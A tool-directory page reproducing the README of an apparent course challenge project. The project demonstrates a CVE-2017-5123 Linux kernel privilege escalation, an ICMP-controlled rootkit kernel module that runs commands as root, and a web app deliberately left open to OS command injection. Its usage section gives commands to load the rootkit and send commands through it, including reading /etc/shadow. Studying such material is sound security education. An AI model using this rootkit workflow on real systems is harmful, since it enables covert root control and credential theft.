Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2017-5123 | Kitploit
Tools/GitHubGitHub/nabilboudra/cve-2017-5123
Privilege EscalationExploitationWeb Application ExploitationCommand and ControlLearning & EducationPayload DevelopmentBinary ExploitationLabs & Practice
GitHubnabilboudra/cve-2017-5123

cve-2017-5123

View Repository
8 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2017-5123

This repository contains a demonstration of CVE-2017-5123, an ICMP command-and-control backdoor, and a CWE-78 (OS Command Injection) vulnerable web app.

Part of CSC 4308 - Challenge 3.

Prerequisites

  • Linux Kernel: 4.13 up to (but excluding) 4.13.7
  • Node.js: 10.x
  • npm: 6.x

Overview

This project demonstrates three distinct security research components:

1. CVE-2017-5123 Kernel Exploit (lkm/rootkit.c)

A proof-of-concept exploit for the waitid system call vulnerability introduced in Linux Kernel 4.13. This vulnerability allows privilege escalation and sandbox escape.

  • CVE ID: CVE-2017-5123
  • CWE ID: CWE-787 (Out-of-bounds Write)
  • Impact: Local privilege escalation
  • Exploit Author: Chris Salls (@chris_salls)

2. Kernel Rootkit LKM (lkm/lkm.c)

A malicious Linux Kernel Module (LKM) that implements a covert command-and-control channel via ICMP echo (ping) packets.

  • CWE ID: CWE-912 (Hidden Functionality)
  • Functionality:
    • Intercepts ICMP echo requests with sequence number 25678
    • Extracts shell commands from ICMP payload
    • Executes commands as root
    • Returns command output via ICMP echo reply packets

3. Vulnerable Web Application (vulnerable-app/)

A React + Node.js file-sharing application vulnerable to OS command injection.

  • CWE ID: CWE-78 (OS Command Injection)
  • Weakness: Shell metacharacter injection in file content field

4. ICMP Data Pinger (pinger/data-ping.c)

A utility to send crafted ICMP echo requests with custom payloads to communicate with the kernel rootkit backdoor.

Usage

Loading the LKM

Build the Kernel Module

root@kitploit:~
cd lkm
make

Load the Kernel Module

root@kitploit:~
sudo insmod lkm.ko

Build the Pinger Client

root@kitploit:~
cd ../pinger
gcc -o data-ping data-ping.c

Send Commands via ICMP

root@kitploit:~
# Must run as root to use raw sockets
sudo ./data-ping <target-ip> "whoami"
sudo ./data-ping localhost "ls -la /root"
sudo ./data-ping 192.168.1.100 "cat /etc/shadow"

Unload the Module

root@kitploit:~
sudo rmmod lkm

Quick Reload

root@kitploit:~
make reload

Running the Vulnerable Web Application

root@kitploit:~
# Build the frontend
cd vulnerable-app/frontend
npm run build

# Copy build to backend
cp -r build ../backend/

# Start the backend server (serves both API and frontend)
cd ../backend
npm start

The application will be available at http://localhost:3001

References

  • CVE-2017-5123: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5123
  • CWE-78: https://cwe.mitre.org/data/definitions/78.html
  • CWE-787: https://cwe.mitre.org/data/definitions/787.html
  • CWE-912: https://cwe.mitre.org/data/definitions/912.html
  • Chris Salls' Original Exploit Code: https://github.com/salls/kernel-exploits
Download Tool